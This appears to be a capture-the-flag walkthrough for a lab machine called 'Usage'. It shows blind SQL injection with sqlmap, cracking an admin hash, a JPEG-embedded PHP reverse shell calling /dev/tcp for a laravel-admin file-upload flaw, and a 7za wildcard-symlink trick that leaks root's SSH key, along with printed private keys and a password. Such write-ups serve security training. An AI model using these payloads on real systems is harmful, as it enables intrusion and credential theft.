

# MACHINE - USAGE

IP: 10.10.11.18

Type: Linux

---

## OPEN PORTS

```
$ nmap -sVC -T4 -Pn -p- {IP}
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http      nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

---

## INSPECTING THE SITE

- There is a redirect to `usage.htb`
- We need to add the IP to the list of hosts in order to open the site

```
$ sudo -s
```

```
$ echo '{IP} usage.htb admin.usage.htb' >> /etc/hosts
```

- At this point we can correctly open the site
- As we can see it is a login page
- Using Wappalyzer we can see that it is using

1. *Laravel* as Web Framework
2. *Nginx* as web server version 1.18.0
3. *Nginx* as reverse proxy
4. *PHP* as programming language

- There are two cookies

```
laravel_session=eyJpdiI6IkFYZ1pXZWU5b3k5bkpZSXXZud0xkY1E9PSIsInZhbnV1IjoirVM4KzRBNW10RXFaTVF2MWE2SGtTUW9JRjdTeWNpbEp0bmRSODlCRHMyYkZDckhJVGNTFRFYxTGVCbWduZlZtWlJlditqcXd0STREREc1cTJGLOZ3RUNhcTJuOXUwTmtld1oyTDFXS2F2MUg5N2I3MjVSRmxMbnhVOHl2K0V6RHIiLCJtYWMiOiIxZThhMTE5YTg3ZjQ1ZWU3ZGJmOTE4MzNlZGIyZmY1ODM2YjhlOWZmY2I2M2YwNWVjZDNkYjA4MjF1MWE5ZTczIiwidGFnIjoirIn0%3D
```

```
XSRF-TOKEN=eyJpdiI6IkxKdGxiWWNuTGpIVENWUnQwbDgwUnc9PSIsInZhbnV1IjoirVTBTbEFIEFQOL2ZxMjdodWsvYisvbW53SWc1SmxkbDhQenJ4UERJTHpoS3BZMnkyVmJpOGFYZkVKSEE1UONFeGJrRGRTVHd00EE5U1cwaDNvWCt0Zm5GTjFyTzRLR2VLTdZxLy93V1VjUkFSU1MvTWdUb1lXUUD3TGrcStwaFUiLCJtYWMiOiI2YWVlNGM4MDE3NjgzZDRhNDkyZTIwMTk3OTMyMTJlYjMzOTI3OWZmY
```

WRiMjI5NWZmZmEwODdjOGQyNTY1ZDJjIiwidGFnIjoiIn0%3D

*Cross-Site Request Forgery* (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

- Inspecting the page source code there is a

```
<input type="hidden" name="_token" value="hzckZuqet2rAE3zAYNiHcbhpen7JWQjk8gG9Qup9">
```

- This token along with XSRF-TOKEN are anti-forgery practice ... hence XSRF is not exploitable
- Moreover, we also see two other pages

1. `post-login`
2. `forget-password`

- Clicking on **Register** and inspecting the source page we see

1. The same token
2. a `post-registration` page used to handle post request

---

## SQL INJECTION

- There are a bunch of form for login/register/forget password
- I would like to not consider the register case
- Tried to login to see if something strange might be used ... nothing found
- Moreover, it does not shows any error or message when providing wrong credentials
- Go to the Forget-password page.
- When we try to enter a non-existent password it gives us an error
- This might seems that it is using some kind of SQL queries to check if provided email exists or not
- It is quite intuitive to try some old SQL injection techniques
- When I try to put the classical 'OR '1'='1 I don't receive any error ... It seems injectable
- Let's check it using SQLMAP
- First let's setup a Manual proxy on `localhost:8080`
- Open BurpSuite and intercept the POST request on `/forget-password`

POST `/forget-password` HTTP/1.1

```
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://usage.htb
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IjhnNQ05BYVJUMUpqeW1NcFZ2eXRlIale9PSIsInZhbHVlI
joiUTlyM0dMdMwUzQMUTQblV2Z0dsVFpZLyt0ZndZQnduQ1Ewbk1LWExEOUhFQ080djZnb
VBNbzR6OHhpTTRVNlFoZkFITVZEU2NPckJNKz1ISmJLUjBtRVVDMDBYjNlNmgrU1Fjc2FkZ
TRMMDZCQWVOW1hHK21VOGxFMW9zZnUiLCJtYWMiOiJjODczYmZlNGMONGU2ODk0NDUOM2FiN
GZmNDk3OThmNjFhMDg3MGEyYWUwODRlZGEzMzRhM2Q1ZWUyNDYwZmM1IiwidGFnIjoiIn0%3D;
laravel_session=eyJpdiI6Ind0c0xiVFbkCUZsQVYyTWxNSTB4RGc9PSIsInZhbHVlIjoiS
lZ2V2E1OXVGVjJGZzEvd1M0eFAybTVZNzBrTjdtOE1GMU4zdXgxZFFIL3FMdmVVCkRkaUZNeW
hGaHVFaHd6ZVNQUTJEdzBER280KzZOSGdKNFFKZzgra3pZZXU4ajRiNnZ2OW5XOWptRU9qWXZ
TdGtFSXpPTWJVYXhDWVdJSjMiLCJtYWMiOiJhMDA4ZWFMWWE1OTMxOWJjOTUxMGNiOWQwZTMzM
2RhYTUwZjYxM2I1NTJjMGYwMzcwZjgONGF1ZTU2NzIOYWFMiwiidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
```

```
_token=TZCqMUQsBNAYUzprPXJHjp1VdOQfoDa14vKfJGgP&email=email
```

- Save this request into a file named request

```
$ sqlmap -r request -p email --batch --risk 3 --level 4 --dbs
```

- The log saved into /home/{user}/.local/share/sqlmap/output/usage.htb

sqlmap identified the following injection point(s) with a total of 627 HTTP(s) requests:

---

Parameter: email (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: \_token=TZCqMUQsBNAYUzprPXJHjp1VdOQfoDa14vKfJGgP&email='

AND 7446=(SELECT (CASE WHEN (7446=7446) THEN 7446 ELSE

(SELECT 8947 UNION SELECT 1711) END))-- jhlC

Type: time-based blind

Title: MySQL > 5.0.12 AND time-based blind (heavy query)

Payload: \_token=TZCqMUQsBNAYUzprPXJHjp1VdOQfoDa14vKfJGgP&email='

AND 1547=(SELECT COUNT(\*) FROM INFORMATION\_SCHEMA.COLUMNS A,

INFORMATION\_SCHEMA.COLUMNS B, INFORMATION\_SCHEMA.COLUMNS

C WHERE 0 XOR 1)-- SzqQ

---

web server operating system: Linux Ubuntu

web application technology: Nginx 1.18.0

```
back-end DBMS: MySQL > 5.0.12
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
```

- What `sqlmap` found was that the `email` parameter is injectable
- In particular, we cannot use classical SQL Injection Technique
- We see a 500 Internal Server Error when providing strange injection
- However, the error page does not show any particular message
- Hence, we need to use *Blind SQL Injection* techniques.

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors. Many techniques such as UNION attacks are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used. BSQli asks the database true or false questions and determines the answer based on the application's response.

- At this point let's enumerate the tables in the `usage_blog` DB

```
$ sqlmap --batch -r request -p email --batch --risk 3 --level 4 -D usage_blog --tables
```

```
Database: usage_blog
[15 tables]
+-----+
| admin_menu          |
| admin_operation_log |
| admin_permissions   |
| admin_role_menu     |
| admin_role_permissions |
| admin_role_users    |
| admin_roles         |
| admin_user_permissions |
| admin_users         |
| blog                |
| failed_jobs         |
| migrations          |
| password_reset_tokens |
| personal_access_tokens |
| users               |
+-----+
```

- There are 15 tables, but only one is of our interest: `admin_users`

- Let's shows the entries of this table

```
$ sqlmap --batch -r request -p email --batch --risk 3 --level 4 \
-D usage_blog -T admin_users --dump
```

Database: usage\_blog

Table: admin\_users

[1 entry]

```
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | Administrator | <blank> |
$2y$10$ohq2kLpBH/ri.P5wR0P3U0mc24Ydv19DA9H1S6oo0MgH5xVfUPrL2 | admin |
2023-08-13 02:48:26 | 2024-04-27 08:20:19 |
kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
```

- We have a username `admin` and the hash of a password
- We need to crack the hash and retrieve the password

```
$ hashcat -m 3200 -a 0 passwd.hash /usr/share/wordlists/rockyou.txt
```

...

```
$2y$10$ohq2kLpBH/ri.P5wR0P3U0mc24Ydv19DA9H1S6oo0MgH5xVfUPrL2:whatever1
```

...

- The credentials seems to be `admin:whatever1`
- Now, we can access to the `admin.usage.htb` page and login using the credentials

## OBTAINING A REVERSE SHELL

- Once we are logged into the administrator page we see a number of dependencies

1. *PHP V. ^8.1*
2. *encore/laravel-admin V. 1.8.18*
3. *guzzlehttp/guzzle V. ^7.2*
4. *laravel/framework V. ^10.10*
5. *laravel/sanctum V. ^3.2*
6. *laravel/tinker V. ^2.8*
7. *symfony/filesystem V. ^6.3*

- We also find the Laravel version **10.18.0**
- Looking in the Internet it seems that there is a CVE for `encore/laravel`
- This is the CVE: <https://www.cve.org/CVERecord?id=CVE-2023-24249>

An arbitrary file upload vulnerability in laravel-admin allows attackers to execute arbitrary code via crafted PHP file in “user settings” interface.

- If we go to the settings page, we can see that we can upload an image.
- Maybe, this is our attack vector.
- If we look at the source code there is a link:

`http://admin.usage.htb/vendor/laravel-admin/AdminLTE/dist/img/`

- It might refer where the images are saved
- However, when opening the link we obtain a HTTP 403 Forbidden Error
- Given the CVE we should be able to run commands uploading arbitrary PHP file
- However, we cannot upload PHP file, just images ...
- There are a number of ways of hiding PHP code inside a JPG
- One of them consists of writing it inside the comments
- More info **Here**
- First let's download the default image
- Then we run the following command

```
$ exiftool -comment="<?php system("/bin/bash -c '\`\'\'\'
    'exec bash -i >& /dev/tcp/{MyIP}/{port} <&1'\`\'\'')?>" user2-160x160.jpg
$ ls
user2-160x160.jpg user2-160x160.jpg_original
```

```
$ mv user2-160x160.jpg payload.jpg
```

- user2-160x160.jpg is the modified one
- Inspecting the image we should be comment at the top of the HEX dump

```
$ xxd payload.jpg
```

```
...
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ....JFIF.....
00000010: 0001 0000 fffe 0050 3c3f 7068 7020 7379  ....P<?php sy
00000020: 7374 656d 2822 2f62 696e 2f62 6173 6820  stem("/bin/bash
00000030: 2d63 2027 6578 6563 2062 6173 6820 2d69  -c 'exec bash -i
00000040: 203e 2620 2f64 6576 2f74 6370 2f31 302e  >& /dev/tcp/10.
00000050: 3130 2e31 342e 3536 2f31 3233 3420 3c26  10.14.56/1234 <&
00000060: 3127 2229 3f3e ffd8 0043 0002 0202 0202  1'")?>...C.....
...
```

- Now, we need to setup a manual proxy localhost:8080 for Burp
- Switch on the Intercept, load the image into the site and then click Submit
- Burp should have intercepted the request with all the fields
- Down in the request body there are all the fields
- In particular we are interesting in the file field that is equal to payload.jpg
- To make the attack successful we need to change the extension into payload.jpg.php
- This is important, since we have bypassed the Javascript check done in the frontend

- At this point, we already should have prepared a Netcat listener
- Let's forward all the subsequent requests and we have a reverse shell

```
dash@usage:/var/www/html/project_admin/public/uploads/images$ cd
dash@usage:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
dash@usage:~$ export TERM=xterm
dash@usage:~$ whoami
dash
dash@usage:~$ pwd
/home/dash
dash@usage:~$ cat user.txt
5d754cabaff1692ebfd8288f6862397c
dash@usage:~$ cat .ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
```

```
tCDkmmKv42y/I6G+nVoCaGWJHpyLzh7QAAAMEA+K8JbG54+PQryAYqC40uGuJaojDD4pX0
s1KWvPVHa00VA54VG4KjRF1KnPbLzGDhYRRtgBOC/40J3gY7uNdBxhe07Rh1Msx3nsTT9v
iRSpmo2FKJ764zAUVuv0J8FLyfC20B4uaaQpOpYRgoA5G2BxjtWnCCjvr2lnj/J3BmKcz/
b2e7LOVKD4cNk9DsAWwagAK2ZRH1Q5J60udocmNBEugyGe8ztkRh1PYCB8W1Jqkygc8kpT
63zj5LQZw2/NvnAAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
```

- Now we have the private SSH key of `dash` user
- We can use it to obtain an SSH connection

---

## PRIVILEGE ESCALATION

- First login using SSH

```
dash@usage:~$ ll
```

```
total 52
drwxr-x--- 6 dash dash 4096 Apr 27 13:41 ./
drwxr-xr-x 4 root root 4096 Aug 16 2023 ../
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6 2022 .bashrc
drwx----- 3 dash dash 4096 Aug  7 2023 .cache/
drwxrwxr-x 5 dash dash 4096 Apr 27 13:32 .config/
drwxrwxr-x 3 dash dash 4096 Aug  7 2023 .local/
-rw-r--r-- 1 dash dash   32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash    6 Apr 27 13:41 .monit.pid
-rwx----- 1 dash dash  707 Oct 26 2023 .monitrc*
-rw----- 1 dash dash 1192 Apr 27 13:42 .monit.state
-rw-r--r-- 1 dash dash  807 Jan  6 2022 .profile
drwx----- 2 dash dash 4096 Aug 24 2023 .ssh/
-rw-r----- 1 root dash   33 Apr 27 07:08 user.txt
```

```
dash@usage:~$ cat .monitrc
```

```
#Monitoring Interval in Seconds
```

```
set daemon 60
```

```
#Enable Web Access
```

```
set httpd port 2812
```

```
use address 127.0.0.1
```

```
allow admin:3nc0d3d_pa$$w0rd
```

```
#Apache
```

```
check process apache with pidfile "/var/run/apache2/apache2.pid"
```

```
if cpu > 80% for 2 cycles then alert
```



### *#System Monitoring*

```
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert
```

```
check filesystem rootfs with path /
    if space usage > 80% then alert
```

- We have found a password for something
- We can try to sudo either dash or xander

```
dash@usage:~$ sudo -l
[sudo] password for dash: 3nc0d3d_pa$$w0rd
Sorry, try again.
```

```
...
dash@usage:~$ su xander
Password: 3nc0d3d_pa$$w0rd
xander@usage:/home/dash# sudo -l
```

```
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\: ...
    use_pty
```

```
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
```

```
xander@usage:/home/dash# cd
xander@usage:~# sudo /usr/bin/usage_management
```

```
...
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
...
```

- Since it is a custom executable file we cannot do more
- However, we can inspect the content at least using strings

```
xander@usage:~# string /usr/bin/usage_management
```

```
...  
/var/www/html  
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *  
Error changing working directory to /var/www/html  
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql  
Password has been reset.  
...
```

- In particular we can refer to the 7za command
- There is a technique known as *Wildcard Spare* that can be used
- More on HackTricks - Wildcard Spare
- Following the steps we use

```
xander@usage:~# cd /var/www/html  
xander@usage:~# touch @id_rsa  
xander@usage:~# ln -s /root/.ssh/id_rsa id_rsa  
xander@usage:~# sudo /usr/bin/usage_management
```

Choose an option:

1. Project Backup
2. Backup MySQL data
3. Reset admin password

Enter your choice (1/2/3): 1

```
...  
-----BEGIN OPENSSH PRIVATE KEY----- : No more files  
b3BlbnNzaC1rZXktdjEAAAAAAAAABG5vbUAAAAAAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW : No more files  
QyNTUxOQAAACC20m0r6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files  
QgAAAAAtzc2gtZWQyNTUxOQAAACC20m0r6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files  
AAAE63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files  
H2sfTWZeFDLGmqMhrqDdAAAAACnJvb3RAdXNhZ2UBAgM= : No more files  
-----END OPENSSH PRIVATE KEY----- : No more files
```

- In this way we have obtained the private SSH key of the root user

```
$ ssh root@{IP} -i id_rsa_root  
root@usage:~# cat root.txt  
c515a983b3d5f5763fdc1c2bdb90e757
```

---

## FLAGS

USER: 5d754cabaff1692ebfd8288f6862397c

ROOT: c515a983b3d5f5763fdc1c2bdb90e757